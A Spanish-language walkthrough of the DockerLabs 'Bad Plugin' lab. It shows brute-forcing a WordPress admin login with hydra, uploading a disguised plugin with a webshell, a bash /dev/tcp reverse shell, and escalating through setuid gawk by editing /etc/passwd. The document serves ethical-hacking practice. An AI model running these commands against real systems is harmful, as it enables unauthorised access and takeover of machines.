Bad Plugin - DockerLabs
Herramientas y recursos
En este reto de DockerLabs practicamos.
Tecnicas | Herramientas |
---|---|
scan de puertos | nmap |
fuzzing de directorios | feroxbuster |
descubrimiento de tecnologias | whatweb y wapalyzer |
fuerza bruta login wordpress | hydra |
gawk | Manejando ficheros desde gawk |
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX badplugin 172.18.0.2
Como vemos en el reporte en esta ocasion tenemos solo el 80 http
Vamos a empezar revisando la web manualmente aparentemente no hay nada aprte del error que nos muestra al presionar y en el codigo tampoco , asi que lanzamos feroxbuster.
1
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 400 -u http://192.168.1.100
Obtenemos los directorios wordpress , javascript , phpmyadmin
Es curioso que cada uno actua de manera distinta en wordpress no lo encuentra pero en la barra de busqueda me tira un dominio escolares.dl , en java me tira forbidden y phpmyadmin el login. Asi que empezaremos añadiendo escolares.dl a /etc/hosts
Ahora que tenemos acceso al dominio vamos a tratar de averiguar con whatweb
Al parecer es un wordpress lo corroboramos accediendo a wp-admin.
Si introducimos de user admin y cualquier pass vemos que nos indica que hay un usuario admin por tanto vamos a hacer fuerza bruta contra admin con la herramienta hydra , podemos obtener el formato del post desde la consola de desarollador en cualquier navegador y contruimos la url de ataque.
1
hydra -l admin -P Descargas/rockyou.txt/rockyou.txt escolares.dl http-post-form "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Acceder&redirect_to=http%3A%2F%2Fescolares.dl%2Fwordpress%2Fwp-admin%2F&testcookie=1:Error"
parametro | que hace | ejemplo |
---|---|---|
-l | indicamos el usuario (L para lista de usuarios) | |
-P | indicamos el diccionario | rockyou |
http-post-form | le indicamos el tipo de peticion a realizar |
Importante confirmar tambien el mensaje de error que nos devuelve la web para saber que estamos haciendo bien la fuerza bruta
Obtenemos el password.
Una vez dentro del panel y dado que estamos como administrador podriamos hacer desde instalar un pluggin malicioso hasta subir un archivo php que nos de acceso a la maquina en esta version comprueba bastante bien que estmaos subiendo asi que en este caso , vamos a subir un archivo php que nos de acceso a la maquina a traves de un webshell y a subirlo por el administrador de pluggins , dado que es lo unico que he encontrado disponible.
Para ello primero he buscado como son las cabeceras de un plugin de wordpress y he creado un archivo php con el siguiente contenido y en el mismo directorio he puesto una webshell y lo he zipeado para subirlo.
1
2
3
4
5
6
7
8
9
10
11
12
<?php
/**
* Plugin Name: No License File
* Plugin URI: https://example.com/no-license-file
* Description: Este plugin impide el acceso directo al archivo license.txt en WordPress.
* Version: 1.0.0
* Author: Tu Nombre
* Author URI: https://example.com
* License: GPL2
* Text Domain: no-license-file
*/
?>
Worpress extrae datos del fichero php que aparenta ser un plugin , a lo mejor solo la webshell zipeada tambien funcionaria pero no lo he probado.
Para subirlo como un plugin cualquiera vamos a Apariencia -> Editor y seleccionamos el archivo zip que hemos creado.
Una vez subido vamos a ruta donde se instalo para ver la webshell y el otro php que no hace nada de hecho ni active el plugin.
Ahora nos mandamos una reverse shell y empezamos la intrusion
Intrusion
Ojo pq en esta maquina docker nos entrega un ip del tipo 192.168.x.x y si nos lanzamos una rev como de costumbre nunca llegara a nosotros , por tanto debemos lanzar una rev que se quede en escucha en la maquina docker y no en la nuestra.
Nos ponemos a la escucha.
1
nc -lvnp 1188
Y lanzamos la rev desde la webshell apuntando al interfaz puente de docker.
1
bash -c 'exec bash -i &>/dev/tcp/192.168.1.1/1188 <&1'
Estamos dentro y nos encontramos al binario gawk con el bit setuid activado.
1
find / -perm -u=s -type f 2>/dev/null
Vamos a buscar en searchbins si hay alguna vulnerabilidad conocida para gawk nos da ideas pero lo que he probado me devuelve siempre al user www-data.
1
2
sudo /usr/bin/gawk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN { s = "/inet/tcp/0/" RHOST "/" RPORT; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
<c && (c |& getline) > 0) print $0 |& s; close(c)}}'
Con el siguiente comando he consiguido eliminar la x de root pero no almacanarlo debemos redirigir la salida a traves del propio gawk.
1
/usr/bin/gawk '{sub(/x/, ""); print}' /etc/passwd
1
/usr/bin/gawk -i inplace '{sub(/x/, ""); print}' /etc/passwd
Con este ultimo comando hemos conseguido borrar la x directamente desde gawk y solo nos queda hacer su root y ya tendriamos la maquina hecha.
Muchas gracias por leer , a compartir y a practicar hacking etico.
Comments powered by Disqus.